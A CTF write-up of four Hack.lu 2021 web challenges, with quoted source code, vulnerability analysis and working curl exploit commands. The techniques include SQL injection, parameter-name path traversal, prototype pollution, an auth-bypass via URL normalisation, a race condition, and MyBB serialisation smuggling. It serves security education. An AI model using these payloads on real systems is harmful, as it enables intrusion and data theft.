Table of Contents

Last weekend, I teamed up with @jorge_ctf to play in Hack.lu CTF 2021, and somehow we managed to solve 4 out of the 5 web challenges! Considering that it was an ad hoc collaboration and we were mostly playing for fun, I’d say we did pretty well. :sweat_smile:

Overall, I think the web challenges presented at Hack.lu CTF 2021 were quite insightful, so I decided to do a writeup on the challenges we solved.
Enjoy!

Diamond Safe

Sold (Solves): 61 times
Risk (Difficulty): Mid
Seller (Creator): kunte_

Save your passwords and files securely in the Diamond Safe by STOINKS AG.
https://diamond-safe.flu.xxx/

Part 1 - Authentication Bypass Via SQL Injection

The goal of the challenge is to read the flag at /flag.txt.

But first, we need to be logged in to access other application functionalities.

The relevant code from public/src/login.php is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if (isset($_POST['password'])){
    $query = db::prepare("SELECT * FROM `users` where password=sha1(%s)", $_POST['password']); // [1]

    if (isset($_POST['name'])){
        $query = db::prepare($query . " and name=%s", $_POST['name']); // [2]
    }
    else{
        $query = $query . " and name='default'";
    }
    $query = $query . " limit 1";

    $result = db::commit($query);

    if ($result->num_rows > 0){
        $_SESSION['is_auth'] = True;
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        $_SESSION['ip'] = get_ip();
        $_SESSION['user'] = $result->fetch_row()[1];

        success('Welcome to your vault!');
        redirect('vault.php', 2);
    }
    else{
        error('Wrong login or password.');
    }
}
...

Notice that the login functionality calls db::prepare(), which seems to use some form of format string (%s) in lines [1] and [2]. We might be able to bypass string sanitisation by embedding a format string into $_POST["password"].

Tracing the code further, we can see the prepare() function declared in public/src/DB.class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static function prepare($query, $args){
    if (is_null($query)){
        return;
    }
    if (strpos($query, '%') === false){
        error('%s not included in query!');
        return;
    }

    // get args
    $args = func_get_args();
    array_shift( $args );

    $args_is_array = false;
    if (is_array($args[0]) && count($args) == 1 ) { // [3]
        $args = $args[0];
        $args_is_array = true;
    }

    $count_format = substr_count($query, '%s');

    if($count_format !== count($args)){ // [4]
        error('Wrong number of arguments!');
        return;
    }
    // escape
    foreach ($args as &$value){
        $value = static::$db->real_escape_string($value); // [5]
    }

    // prepare
    $query = str_replace("%s", "'%s'", $query); // [6]
    $query = vsprintf($query, $args); // [7]
    return $query;
}

Interestingly, [3] indicates that the prepare() function accepts an array for the second parameter.
At [4], it checks if the number of format string present in $query (first parameter) matches the number of arguments passed in the second parameter.
Arguments are then escaped using real_escape_string() in [5].
Subsequently, all format strings %s are quoted ('%s') in [6] before they are being replaced by the escaped arguments in [7].

Since no type checks were done on the $_POST parameters, we could indeed embed a format string %s within $_POST["password"] in [1], and supply an array $_POST["name"] in [2] – this allows us to inject into the SQL statement.

Sending the following request allows us to log in to a valid account:

$ curl https://diamond-safe.flu.xxx/login.php \
    --cookie 'PHPSESSID=...'  \
    -d 'password=%s' -d 'name[0]=) or 1=1 -- ' -d 'name[1]=a'
...
<div class='alert alert-success'><strong>Welcome to your vault!</strong></div>
...

Part 2 - Arbitrary File Read

Let’s look at the second half of the challenge – getting the flag.

After logging in, we have access to the vault (public/src/vault.php):

1
2
3
4
5
6
7
8
9
10
11
...
<?php 
    $dir = '/var/www/files';
    $scanned_dir = array_diff(scandir($dir), array('..', '.'));

    foreach ($scanned_dir as $key => $file_name){?>
        
        <li><a href="<?= gen_secure_url($file_name)?>"><?= ms($file_name)?></a></li>

    <?php  }  ?>
...

The rendered HTML output when visiting /vault.php is:

...
<li><a href="download.php?h=95f0dc5903ee9796c3503d2be76ad159&file_name=Diamond.txt">Diamond.txt</a></li>
<li><a href="download.php?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt">FlagNotHere.txt</a></li>
...

Let’s take a look at public/src/download.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
...
if (!isset($_SESSION['is_auth']) or !$_SESSION['is_auth']){
    redirect('login.php');
    die();
}

if(!isset($_GET['file_name']) or !is_string($_GET['file_name'])){ // [1]
    redirect('vault.php');
    die();
}

if(!isset($_GET['h']) or !is_string($_GET['h'])){ // [2]
    redirect('vault.php');
    die();
}

// check the hash
if(!check_url()){ // [3]
    redirect('vault.php');
    die();
}

$file = '/var/www/files/'. $_GET['file_name']; // [4]
if (!file_exists($file)) {
    redirect('vault.php');
    die();
}
else{
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    readfile($file); // [5]
    exit;
}

[1] and [2] ensures that $_GET['filename'] and $_GET['h'] are strings. At [3], the parameters are validated. Ideally, we want to be able to reach readfile($file) in [5], since we know that we can control the file path in [4].

We somehow need to subvert the checks done in check_url().

The relevant code for check_url() function can be found in public/src/functions.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function check_url(){
    // fixed bypasses with arrays in get parameters
    $query  = explode('&', $_SERVER['QUERY_STRING']);
    $params = array();
    foreach( $query as $param ){
        // prevent notice on explode() if $param has no '='
        if (strpos($param, '=') === false){
            $param += '=';
        }
        list($name, $value) = explode('=', $param, 2);
        $params[urldecode($name)] = urldecode($value); // [6]
    }

    if(!isset($params['file_name']) or !isset($params['h'])){
        return False;
    }

    $secret = getenv('SECURE_URL_SECRET');
    $hash = md5("{$secret}|{$params['file_name']}|{$secret}");

    if($hash === $params['h']){ // [7]
        return True;
    }
    return False;
}

The function attempts to parse each GET parameter from the $_SERVER['QUERY_STRING'], URL-decoding the parameter names and values at [6]. To be able to leak, we somehow need to make $_GET['filename'] return a path traversal payload to reach /flag.txt but also ensure that $params['filename'] returns a different value. According to a comment on the PHP documentation, it can be seen that PHP does additional normalisation steps on top of URL-decoding the parameter names:

The full list of field-name characters that PHP converts to _ (underscore) is the following (not just dot):
chr(32) ( ) (space)
chr(46) (.) (dot)
chr(91) ([) (open square bracket)
chr(128) - chr(159) (various)

PHP irreversibly modifies field names containing these characters in an attempt to maintain compatibility with the deprecated register_globals feature.

So, we could supply a query string ?file_name=Diamond.txt&file.name=../../../flag.txt to trick PHP to set $_GET['filename'] = '../../../flag.txt', and make $params['filename'] = 'Diamond.txt' in check_url() – this allows us to pass the check at [3] by sending a valid $params['file_name'] and $params['hash'] accordingly:

$ curl -G --cookie 'PHPSESSID=...' https://diamond-safe.flu.xxx/download.php \
    -d 'file_name=Diamond.txt' -d 'file.name=../../../flag.txt' -d 'h=95f0dc5903ee9796c3503d2be76ad159'
flag{lul_php_challenge_1n_2021_lul}

trading-api

Sold (Solves): 20 times
Risk (Difficulty): High
Seller (Creator): pspaul

To make investing easy and simple for everyone, we built a trading API. But is it secure tho?
http://flu.xxx:20035

The goal of the challenge is to leak the flag stored in the flag table:

CREATE TABLE IF NOT EXISTS flag (flag TEXT PRIMARY KEY);

Part 1 - Authentication Bypass

Let’s start by analysing the routes handled by the server. This can be found in public/core/server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
...
const { getOrDefault } = require('./config');
const { login, authn } = require('./authn');
const { authz, Permissions } = require('./authz');
const registerApi = require('./api');
...
async function main() {
    const app = express();

    app.use(morgan('dev'));
    app.use(express.json());

    app.all('/health', (req, res) => res.send('ok'));

    // authentication
    app.post('/api/auth/login', login);
    app.use(authn);

    // authorization
    app.use(authz({
        userPermissions: new Map(Object.entries({
            warrenbuffett69: [Permissions.VERIFIED],
        })),
        routePermissions: [
            [/^\/+api\/+priv\//i, Permissions.VERIFIED],
        ],
    }));

    await registerApi(app);

    app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
}

main()

There appears to be authentication and authorization checks performed before we can reach any of the interesting application functionalities. Let’s start by looking into login() to find a way to log in successfully.

The relevant code from public/core/authn.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
async function login(req, res) {
    const { username, password } = req.body;
    if (!username || !password) {
        return res.status(400).send('missing username or password');
    }

    try {
        const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, { // [1]
            headers: { authorization: AUTH_API_TOKEN },
            json: { password },
        });
        if (r.statusCode !== 200) { // [2]
            return res.status(401).send('wrong');
        }

        const jwt = jsonwebtoken.sign({ username }, JWT_SECRET); // [3]
        return res.json({ token: jwt });
    } catch (error) {
        return res.status(503).end('error');
    }
}

function authn(req, res, next) {
    const authHeader = req.header('authorization');
    if (!authHeader) {
        return res.status(400).send('missing auth token');
    }
    try {
        req.user = jsonwebtoken.verify(authHeader, JWT_SECRET); // [4]
        next();
    } catch (error) {
        return res.status(401).send('invalid auth token');
    }
}

On [1], it can be seen that the server attempts to reach a backend auth service to authenticate the user credentials. However, notice that we could inject into the request path, since encodeURI() does not escape . or /. This allows us to send a username with a path traversal payload (e.g. ../../anything?)! The user is considered logged in if the status code of the request is 200 (OK).

Examining public/auth/server.js, we see the following route handled by the auth server:

1
2
3
...
app.all('/health', (req, res) => res.send('ok'));
...

Hitting this /health endpoint with a path traversal payload in the username allows us to trick the server into thinking that we are a valid user. The server then kindly signs and issues us a valid JWT token on [3]. When authentication checks are performed in authn(), the JSON token can be successfully verified at [4].

This allows us to bypass the authentication checks.

Part 2 - Authorisation Bypass

Now that we have achieved authentication bypass, let’s move on to subvert the authorisation checks.

Recall that the authorization checks performed in public/core/server.js is:

1
2
3
4
5
6
7
8
app.use(authz({
    userPermissions: new Map(Object.entries({
        warrenbuffett69: [Permissions.VERIFIED], // [1]
    })),
    routePermissions: [
        [/^\/+api\/+priv\//i, Permissions.VERIFIED], // [2]
    ],
}));

The relevant source code from public/core/authz.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function hasPermission(userPermissions, username, permission) {
    return userPermissions.get(username)?.includes(permission) ?? false;
}

function authz({ userPermissions, routePermissions }) {
    return (req, res, next) => {
        const { username } = req.user;
        for (const [regex, permission] of routePermissions) {
            if (regex.test(req.url) && !hasPermission(userPermissions, username, permission)) { // [3]
                return res.status(403).send('forbidden');
            }
        }
        next();
    };
}

Notice that the user warrenbuffett69 (on [1]) is allowed to access the route /api/priv/* (on [2]). If we set our username to a path traversal payload, we are definitely unable to satisfy the hasPermission() check at [3].

What we can do to bypass this authorisation check is to fail regex.test(req.url) condition – skipping the entire if block! The authorisation check performed above uses req.url, which is the raw request URL. But, in Express, routes are matched using req.path. Since req.path is extracted after parsing req.url, we can abuse path normalisation to subvert the check while making the request match a route handler successfully.

In other words, req.path will be set to /api/priv/assets/assetName/buy for this request:

GET /api\priv/assets/assetName/buy HTTP/1.1

As well as this request:

GET http://junk/api/priv/assets/assetName/buy HTTP/1.1

Part 3 - SQL Injection

Now that we have access to the main functionalities of the application, we can start to figure out how to leak the flag.

The relevant code from public/core/api.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const { randomInt } = require('crypto');
const { connect, prepare } = require('./db');
const transactions = {};

function generateId() {
    return randomInt(2**48 - 1);
}

module.exports = async (app) => {
    const db = await connect();

    async function makeTransaction(username, txId, asset, amount) {
        const query = prepare('INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)', { // [5]
            amount,
            asset,
            username,
            txId,
        });
    
        await db.query(query);
    }

    app.get('/api/transactions/:id', async (req, res) => {
        const txId = Number(req.params.id);
        if (!isFinite(txId)) {
            return res.status(400).send('invalid transaction id');
        }

        const transaction = await db.query(prepare('SELECT * FROM transactions WHERE id=:txId', {
            txId,
        }));
        
        if (transaction.rowCount > 0) {
            res.json(transaction.rows[0]);
        } else {
            res.status(404).send('no such transaction');
        }
    });

    app.put('/api/priv/assets/:asset/:action', async (req, res) => {
        const { username } = req.user
        
        const { asset, action } = req.params;
        if (/[^A-z]/.test(asset)) { // [1]
            return res.status(400).send('asset name must be letters only');
        }
        const assetTransactions = transactions[asset] ?? (transactions[asset] = {}); // [2]
        
        const txId = generateId();
        assetTransactions[txId] = action; // [3]
        
        try {
            await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1); // [4]
            res.json({ id: txId });
        } catch (error) {
            console.error('db error:', error.message);
            res.status(500).send('transaction failed');
        } finally {
            delete assetTransactions[txId];
        }
    });
};

The /api/priv/assets/:asset/:action route accepts 2 path parameters: asset and action. At [1], notice that the regular expression used is flawed: /[^A-z]/.test(asset). Besides uppercase and lowercase alphabets, symbols such as [, \, ], ^, _ and ^ are also accepted.

Carefully tracing the code from [2] to [3], we can see that it is possible to set transactions[asset][txId] = action. One vulnerability class that springs to mind immediately is prototype pollution. If we set asset to __proto__, we can effectively set transactions.__proto__[txId] to the value of action. However, at this point, it is unclear if prototype pollution is useful at all, since we don’t have control over txId (generated integer). Though, it remains somewhat interesting to us since it points to user input (action).

So, let’s just continue tracing the code execution into makeTransaction() at [4], which calls prepare() at [5].

The relevant source code from public/core/db.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function sqlEscape(value) {
    switch (typeof value) {
        case 'string':
            return `'${value.replace(/[^\x20-\x7e]|[']/g, '')}'`;
        case 'number':
            return isFinite(value) ? String(value) : sqlEscape(String(value));
        case 'boolean':
            return String(value);
        default:
            return value == null ? 'NULL' : sqlEscape(JSON.stringify(value));
    }
}

function prepare(query, namedParams) {
    let filledQuery = query;

    const escapedParams = Object.fromEntries(
        Object.entries(namedParams) // [6]
              .map(([key, value]) => ([key, sqlEscape(value)]))
    );

    for (const key in escapedParams) { // [7]
        filledQuery = filledQuery.replaceAll(`:${key}`, escapedParams[key]);
    }

    return filledQuery;
}

Observe that the parameters to be escaped are iterated using Object.entries() at [6], whereas the replacement of the parameters with the escaped values are done in a for ... in loop at [7].

According to the documentation for the for ... in statement:

…The loop will iterate over all enumerable properties of the object itself and those the object inherits from its prototype chain (properties of nearer prototypes take precedence over those of prototypes further away from the object in its prototype chain).

Since Object.entries() does not iterate through properties inherited from the prototype chain, transactions.__proto__[txId] = buy set previously is not an escaped property. As such, we can inject ::txId into username such that the following replacement will occur in this manner:

   INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, :amount, :username)
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, :username)
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, '... ::txId')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, '... ::txId')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '... :1337')
=> INSERT INTO transactions (id, asset, amount, username) VALUES (1337, '__proto__', -1, '... '), (31337, (select flag from flag), 1, '')

Solution

$ curl http://flu.xxx:20035/api/auth/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"../../../../health?::txId","password":"A"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

$ curl -X PUT http://flu.xxx:20035 \
    -H 'Content-Type: application/json' \
    -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' \
    --request-target "http://junk/api/priv/assets/__proto__/'),(31337,(select%20flag%20from%20flag),1,'1"
{"id":10868161987435}

$ curl http://flu.xxx:20035/api/transactions/31337 \
    -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' 
{"id":"31337","username":"1","asset":"flag{finally_i_can_invest_in_js}","amount":1}

NodeNB

Sold (Solves): 45 times
Risk (Difficulty): Low
Seller (Creator): pspaul/SonarSource

This is a guest challenge by SonarSource R&D.
To keep track of all your trading knowledge we wrote a note book app!
https://nodenb.flu.xxx

The goal of the challenge is to access a note containing the flag:

1
2
3
4
5
6
7
8
9
10
...
// init
db.hset('uid:1', 'name', 'system');
db.set('user:system', '1');
db.setnx('index:uid', 1);
db.hmset('note:flag', {
    'title': 'Flag',
    'content': FLAG,
});
...

Without further ado, let’s jump straight to the relevant code in public/src/server.js:

1
2
3
4
5
6
7
8
9
...
app.get('/notes/:nid', ensureAuth, async (req, res) => {
    const { nid } = req.params;
    if (!await db.hasUserNoteAcess(req.session.user.id, nid)) { // [1]
        return res.redirect('/notes');
    }
    const note = await db.getNote(nid);
    res.render('note', { note });
});

There is an access control check at [1]. Let’s look at the definition of hasUserNoteAcess() function in public/src/db.js:

1
2
3
4
5
6
7
8
9
10
11
12
...
async hasUserNoteAcess(uid, nid) {
    if (await db.sismember(`uid:${uid}:notes`, nid)) { // [2]
        return true;
    }
    if (!await db.hexists(`uid:${uid}`, 'hash')) { // [3]
        // system user has no password
        return true;
    }
    return false;
}
...

In hasUserNoteAcess(), we need to make either of the conditions at [2] and [3] true to pass the access control check. Tracing the code further, we find that condition at [2] is not possible to be satisfied since we cannot add our user to the note containing the flag.

Further examining the condition at [3], we find an interesting logic flaw. The condition at [3] assumes that 0 is returned when the hash field does not exists at key uid:${uid}. However, 0 can also be returned if the key does not exist.

Looking at the application functionalities, we find that it is possible to delete your own account.

The relevant code from public/src/server.js is shown below:

1
2
3
4
5
6
7
8
9
10
app.post('/deleteme', ensureAuth, async (req, res) => {
    await db.deleteUser(req.session.user.id);
    req.session.destroy(async (error) => {
        if (error) {
            console.error('deleteme error:', error?.message);
        }
        res.clearCookie('connect.sid');
        res.redirect('/login');
    });
});

The function definition for deleteUser() from public/src/db.js is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
async deleteUser(uid) {
    const user = await helpers.getUser(uid);
    await db.set(`user:${user.name}`, -1);
    await db.del(`uid:${uid}`); // [4]
    const sessions = await db.smembers(`uid:${uid}:sessions`);
    const notes = await db.smembers(`uid:${uid}:notes`);
    return db.del([
        ...sessions.map((sid) => `sess:${sid}`),
        ...notes.map((nid) => `note:${nid}`),
        `uid:${uid}:sessions`,
        `uid:${uid}:notes`,
    ]);
}

Observe that at [4], the key uid:${uid} is being deleted. As such, we can perform a race condition – polling /notes/flag rapidly using Burp Intruder / Race The Web while the deletion of the account is being processed – to leak the flag:

flag{trade_as_fast_as_you_hack_and_you_will_be_rich}

SeekingExploits

Sold (Solves): 11 times
Risk (Difficulty): High
Seller (Creator): aliezey/SonarSource

Are you totally not a government?
Then you are welcome to the SeekingExploits forum, where you can let people know what exploits you are selling!

Run it with:

docker-compose build
HOSTNAME="localhost" FLAG="flag{fakefakefake}" docker-compose up

http://seekingexploits.flu.xxx

The goal of the challenge is to leak the flag from the database. This challenge uses the MyBB (an open source forum software) v1.8.29 (latest version), and installs a custom plugin created for the challenge.

Part 1 - Exploring the E-Market API

Let’s first look at public/mybb-server/exploit_market/emarket-api.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php

// Set some useful constants that the core may require or use
define("IN_MYBB", 1);
define('THIS_SCRIPT', 'my_plugin.php');


// Including global.php gives us access to a bunch of MyBB functions and variables
require_once "./global.php";

function validate_additional_info($additional_info) {
    $validated = array();
    foreach($additional_info as $key => $value) {
        switch ($key) {
            case "reliability": {
                $value = (int)$value;
                if ($value >= 0 && $value <= 100) {
                    $validated["reliability"] = $value;
                }
                break;
            }
            case "impact": {
                $valid_impacts = array("rce", "priv_esc", "information_disclosure");
                if (in_array($value, $valid_impacts, true)) {
                    $validated["impact"] = $value;
                }
                break;
            }
            case "current_bidding":
            case "sold_to": {
                $validated[$key] = (int)$value;
                break;
            }
            default: { // [5]
                $validated[$key] = $value;
            }
        }
    }

    return $validated;
}

...

if($mybb->user['uid'] == '/' || $mybb->user['uid'] == 0) // [1]
{
	error_no_permission();
}

$action = $mybb->get_input("action"); // [2]
if ($action === "make_proposal") { // [3]
    
    
    // validate additional info
    $proposal = array(
        "uid" => (int)$mybb->user['uid'],
        "software" => $db->escape_string($mybb->get_input("software")),
        "latest_version" => $mybb->get_input("latest_version", MyBB::INPUT_BOOL) ? 1 : 0,
        "description" => $db->escape_string($mybb->get_input("description")),
        "additional_info" => $db->escape_string( // [7]
            my_serialize( // [6]
                validate_additional_info( // [4]
                    $mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
                    )
                )
            )
    );
    $res = $db->insert_query("exploit_proposals", $proposal); // [8]

    echo "OK!";

} else if ($action === "delete_proposals") {
    $db->delete_query("exploit_proposals", "uid=" . (int)$mybb->user['uid']);
}

Okay, that’s a lot of code to understand.
Let’s start from [1] – firstly, we need to be logged in to MyBB.
At [2], we see that it takes an an input ($mybb->get_input("action")). We can trace MyBB’s source code to find out how to supply this input, or we can just guess that it finds a GET parameter named action.
At [3], we know that the action parameter must be set to make_proposal if we want to insert an exploit proposal into the database.
At [4], we learn that a GET parameter named additional_info should be supplied as an array. This parameter is then passed to validate_additional_info(), which appears to do strict validation on the array contents for the accepted properties.
However, at [5], it is noted the default statement does not actually validate the key or value before assigning $validated[$key] = $value; – this may be useful to us later on.
At [6], we see that my_serialize() is executed on the $validated array returned by validate_additional_info() – this uses a custom serialisation function built into MyBB that supposedly uses a safer serialisation technique compared to PHP’s native serialize().
At [7], the serialised payload is escaped before proposal is inserted into the database at [8].

It isn’t clear how the code can be exploited yet, so let’s take a look at the other file of interest – public/mybb-server/exploit_market/inc/plugins/emarket.php.

Part 2 - The Vulnerable Plugin

The relevant code from public/mybb-server/exploit_market/inc/plugins/emarket.php is shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

// Disallow direct access to this file for security reasons
if(!defined("IN_MYBB"))
{
	die("Direct initialization of this file is not allowed.");
}

$plugins->add_hook("member_do_register_end", "activate_user");

// auto-activate any users that register -- emails can be used to track exploit buyers ;)
function activate_user() {
	...
}

// include the proposals of the user at the end of each PM
$plugins->add_hook("private_read_end", 'list_proposals'); // [1]

// this plugin adds a list of exploit proposals to the end of a PM a user sends
function list_proposals() {
	global $db;
	// this variable contains the PM
	global $message;
	global $mybb;
	global $pm;
	$query = $db->simple_select("exploit_proposals", "*", "uid=" . (int)$pm['fromid']);
    $proposals = array();
    while($proposal = $db->fetch_array($query)) {
        $proposal['additional_info'] = my_unserialize($proposal['additional_info']); // [2]
        
        // resolve the buyer's ID to a username
        if (array_key_exists("sold_to", $proposal["additional_info"])) {
            $user_query = $db->simple_select("users", "username", "uid=" . $proposal["additional_info"]['sold_to']); // [3]
            $buyer = $db->fetch_array($user_query);
            $proposal["buyer"] = $buyer["username"]; // [4]
        }

        array_push($proposals, $proposal);
    }
	if (count($proposals) > 0) {
		$message .= "<b>Their exploit proposals:</b><br />";
	}

	foreach($proposals as $proposal) {
		$message .= "<hr />";
		foreach($proposal as $field => $value) {
			if (is_array($value)) {
				continue;
			}
			$message .= "<b>" . htmlspecialchars($field) . ": </b>";
			$message .= "<i>" . htmlspecialchars($value) . " </i>"; // [5]
		}
	}	
}
...

At [1], we can see that the list_proposal() function is invoked when a private message is read.
At [2], the proposals by the sender is fetched from the database and deserialised using my_unserialize().
At [3], $db->simple_select(tables, fields, where_condition) is executed. Referring to SonarSource’s research on MyBB, it can be seen that concatenating a user input in the where_condition leads to SQL injection – this lets us retrieve the flag from the database.
At [4], we can set $proposal["buyer"] to the value for the username field returned by the SQL query.
At [5], we get to print the value of the flag!

Before we get too excited, recall that $proposal["additional_info"]['sold_to'] is type-casted and coerced to an integer in validate_additional_info(). So, we need find a way to make it such that after deserialising, $proposal["additional_info"]['sold_to'] returns our SQL injection payload somehow.

Digging into MyBB’s Source Code

Let’s revisit some of the steps before the database concatenates user input in there where condition of $db->simple_select().

  1. We can place arbitrary key/values into the proposal, so long as they are unhandled by enter the default statement of the switch statement.
  2. The $validated is serialised using my_serialize()
  3. The serialised payload is escaped using $db->escape_string() before inserting into the database.
  4. The serialised payload is fetched from the database, and deserialised using my_serialize().
  5. $db->simple_select() is called, injecting $proposal["additional_info"]['sold_to'] into where condition.

It seems that we need to dig into MyBB’s source code to look for a flaw!

Both my_serialize() and my_deserialize() changes the internal encoding to ASCII prior to serialising/deserialising before converting it back to the original internal encoding used, but no apparent parser differentials could be found in the two functions.

Let’s move on to look at $db->escape_string() function. It is defined in multiple classes, but we should look into inc/db_mysqli.php since php-mysqli is installed on the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape_string($string)
{
    if($this->db_encoding == 'utf8')
    {
        $string = validate_utf8_string($string, false);
    }
    elseif($this->db_encoding == 'utf8mb4')
    {
        $string = validate_utf8_string($string);
    }

    if(function_exists("mysqli_real_escape_string") && $this->read_link)
    {
        $string = mysqli_real_escape_string($this->read_link, $string);
    }
    else
    {
        $string = addslashes($string);
    }
    return $string;
}

Interestingly, we see that there is special handling for utf8 and utf8mb4 database encoding. Since the application uses utf8 for the database encoding, let’s look at what validate_utf8_string($string, false) does:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
 * Validates an UTF-8 string.
 *
 * @param string $input The string to be checked
 * @param boolean $allow_mb4 Allow 4 byte UTF-8 characters?
 * @param boolean $return Return the cleaned string?
 * @return string|boolean Cleaned string or boolean
 */
function validate_utf8_string($input, $allow_mb4=true, $return=true)
{
    // Valid UTF-8 sequence?
    if(!preg_match('##u', $input))
    {
        ...
    }
    if($return) // [1] - $return defaults to true
    {
        if($allow_mb4) // [2] - $allow_mb4=false 
        {
            return $input;
        }
        else
        {
            return preg_replace("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", '?', $input); // [3]
        }
    }
    else
    {
        if($allow_mb4)
        {
            return true;
        }
        else
        {
            return !preg_match("#[^\\x00-\\x7F][\\x80-\\xBF]{3,}#", $input);
        }
    }
}

This function appears to replace multibyte characters found at [3]! In other words, if the serialised payload to be escaped contains multibyte characters, they will be replaced with a single ?. Since my_deserialize() relies on the length field for each serialised field/value, invoking my_deserialize() on a serialised payload escaped using $db->escape_string() causes incorrect interpretation of the boundaries. This effectively allows us to smuggle sold_to key mapped to a SQL injection payload when deserialising the additional_info array.

Here’s a visualisation of the serialised payload and its transformation.

// $mybb->get_input("additional_info", MyBB::INPUT_ARRAY)
php > $additional_info = array();
php > $additional_info["a"] = str_repeat("\x80", 17); // matches the regex used in preg_replace() 
php > $additional_info["b"] = '";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --';
php > $payload = validate_additional_info($additional_info);

php > echo my_serialize($payload);
a:2:{s:1:"a";s:17:"�����������������";s:1:"b";s:81:"";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --";}

php > echo $db->escape_string(my_serialize($payload));
a:2:{s:1:\"a\";s:17:\"?\";s:1:\"b\";s:81:\"\";s:7:\"sold_to\";s:59:\"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --\";}

Note that the backslashes are only used to escape " when inserting into the database, and are not actually present in the serialised payload stored in the database.

php > $serialized_payload_from_db = stripslashes($db->escape_string(my_serialize($payload)));
php > echo $serialized_payload_from_db;
a:2:{s:1:"a";s:17:"?";s:1:"b";s:81:"";s:7:"sold_to";s:59:"0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --";}

php > echo print_r(my_unserialize($serialized_payload_from_db), true)
Array
(
    [a] => ?";s:1:"b";s:81:"
    [sold_to] => 0 AND 1=0 UNION SELECT usernotes from mybb_users limit 1 --
)

We successfully abused $db->my_escape() to tamper with the serialised payload, such that when the payload is deserialised, $proposal["additional_info"]['sold_to'] contains the SQL injection payload.

Solution

Register an account on MyBB and login, then execute the following command to trigger the insertion of the proposal into the database.

$ curl -G http://seekingexploits.flu.xxx/emarket-api.php \
    --cookie 'mybbuser=...' \
    -d 'action=make_proposal' \
    -d 'software=a' \
    -d 'latest_version=true' \
    -d 'description=b' \
    -d 'additional_info[a]=%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80' \
    -d 'additional_info[b]=%22;s:7:%22sold_to%22;s:59:%220%20AND%201=0%20UNION%20SELECT%20usernotes%20from%20mybb_users%20limit%201%20--'
OK!

Then, send a private message to yourself and view the private message to trigger the SQL injection:

Their exploit proposals:
pid: 13 uid: 37 software: a description: b latest_version: 1 buyer: flag{peehaarpeebeebee}